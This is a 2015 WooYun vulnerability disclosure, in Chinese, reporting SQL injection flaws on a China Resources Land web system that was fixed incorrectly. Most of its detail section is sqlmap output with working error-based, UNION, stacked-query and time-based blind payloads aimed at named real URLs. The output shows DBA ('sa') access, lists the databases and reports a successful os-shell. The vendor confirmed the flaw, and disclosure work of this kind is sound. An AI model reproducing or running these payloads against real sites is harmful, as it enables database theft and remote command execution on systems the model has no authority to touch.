当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156211

漏洞标题：华润置地某系统多处SQL注入修复不当可更多Payload注入（DBA权限+获取众多管理员帐号明文密码+可os-shell）

相关厂商：crland.com.hk

漏洞作者： 路人甲

提交时间：2015-11-27 09:58

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27： 细节已通知厂商并且等待厂商处理中
2015-11-27： 厂商已经确认，细节仅向厂商公开
2015-12-07： 细节向核心白帽子及相关领域专家公开
2015-12-17： 细节向普通白帽子公开
2015-12-27： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

修复不当，根本不需要绕过，不需要增加等级就可以注入，而且payload更多了！~~~DBA权限，还能os-shell，危害还是不小的，你们看着不修复怎么办吧！~~

详细说明：

注入点一：
http://js.crland.com.cn/project.aspx?mid=4-0&pid=20&id=24&cpath=2

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: mid
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: mid=4-0 AND 8078=CONVERT(INT,(SELECT CHAR(113)+CHAR(116)+CHAR(122)+
CHAR(121)+CHAR(113)+(SELECT (CASE WHEN (8078=8078) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(110)+CHAR(117)+CHAR(97)+CHAR(113)))&pid=20&id=24&cpath=2
    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: mid=4-0 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CH
AR(116)+CHAR(122)+CHAR(121)+CHAR(113)+CHAR(115)+CHAR(114)+CHAR(108)+CHAR(121)+CH
AR(117)+CHAR(68)+CHAR(111)+CHAR(82)+CHAR(110)+CHAR(100)+CHAR(113)+CHAR(110)+CHAR
(117)+CHAR(97)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &pid=20&
id=24&cpath=2
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: mid=4-0; WAITFOR DELAY '0:0:5'--&pid=20&id=24&cpath=2
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: mid=4-0 WAITFOR DELAY '0:0:5'--&pid=20&id=24&cpath=2
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: mid=(SELECT CHAR(113)+CHAR(116)+CHAR(122)+CHAR(121)+CHAR(113)+(SELE
CT (CASE WHEN (4507=4507) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+
CHAR(117)+CHAR(97)+CHAR(113))&pid=20&id=24&cpath=2
---
[23:18:17] [INFO] testing Microsoft SQL Server
[23:18:17] [INFO] confirming Microsoft SQL Server
[23:18:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:59:44] [INFO] fetching current user
current user:    'sa'
[01:59:44] [INFO] fetching current database
current database:    'huarun'
[01:59:44] [INFO] testing if current user is DBA
current user is DBA:    True
database management system users [1]:
[*] sa
available databases [5]:
[*] huarun
[*] master
[*] model
[*] msdb
[*] tempdb


1.jpg


2.jpg


添加--level 3 --risk 3

sqlmap identified the following injection points with a total of 3039 HTTP(s) re
quests:
---
Place: GET
Parameter: mid
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: mid=-5952 OR (2541=2541)&pid=20&id=24&cpath=2
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: mid=4-0 AND 4014=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(109)+
CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4014=4014) THEN CHAR(49) ELSE CHAR(48) EN
D))+CHAR(113)+CHAR(106)+CHAR(114)+CHAR(110)+CHAR(113)))&pid=20&id=24&cpath=2
    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: mid=4-0 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CH
AR(110)+CHAR(109)+CHAR(98)+CHAR(113)+CHAR(112)+CHAR(89)+CHAR(75)+CHAR(112)+CHAR(
106)+CHAR(114)+CHAR(85)+CHAR(74)+CHAR(99)+CHAR(77)+CHAR(113)+CHAR(106)+CHAR(114)
+CHAR(110)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &pid=20&id=2
4&cpath=2
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: mid=4-0; WAITFOR DELAY '0:0:5'--&pid=20&id=24&cpath=2
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: mid=4-0 WAITFOR DELAY '0:0:5'--&pid=20&id=24&cpath=2
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: mid=(SELECT CHAR(113)+CHAR(110)+CHAR(109)+CHAR(98)+CHAR(113)+(SELEC
T (CASE WHEN (9331=9331) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+C
HAR(114)+CHAR(110)+CHAR(113))&pid=20&id=24&cpath=2
---
[00:45:59] [INFO] testing Microsoft SQL Server
[00:46:00] [INFO] confirming Microsoft SQL Server
[00:46:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[00:46:01] [INFO] fetching current user
current user:    'sa'
[00:46:02] [INFO] fetching current database
current database:    'huarun'
[00:46:03] [INFO] testing if current user is DBA
current user is DBA:    True


3.jpg


注入点二：
http://js.crland.com.cn/search.aspx?stxt=1&pageindex=3
stxt存在注入
反而POST的没有注入出来，可能需要绕过 ，就不继续了！~~~

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: stxt
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: stxt=1%' AND 7581=7581 AND '%'='&pageindex=3
---
[01:27:31] [INFO] testing Microsoft SQL Server
[01:27:31] [INFO] confirming Microsoft SQL Server
[01:27:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:27:32] [INFO] fetching current user
[01:27:32] [INFO] retrieving the length of query output
[01:27:32] [INFO] retrieved:
[01:27:33] [WARNING] reflective value(s) found and filtering out
2
[01:27:48] [INFO] retrieved: sa
current user:    'sa'
[01:27:48] [INFO] fetching current database
[01:27:48] [INFO] retrieving the length of query output
[01:27:48] [INFO] retrieved: 6
[01:28:21] [INFO] retrieved: huarun
current database:    'huarun'
[01:28:21] [INFO] testing if current user is DBA
[01:28:22] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False


4.jpg


只找到这两处，浪费太多时间了，不测试了！~~~
因为是DBA权限，试着测试os-shell，结果成功了！~~~
因为该sqlmap无法显示中文，就不继续了！！~~~

5.jpg


6.jpg


7.jpg


8.jpg

漏洞证明：

5.jpg


6.jpg


7.jpg


8.jpg

修复方案：

过滤修复
权限限制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-11-27 10:09

厂商回复：

正在修复，多谢提醒，感谢！

最新状态：

暂无

漏洞评价：

评价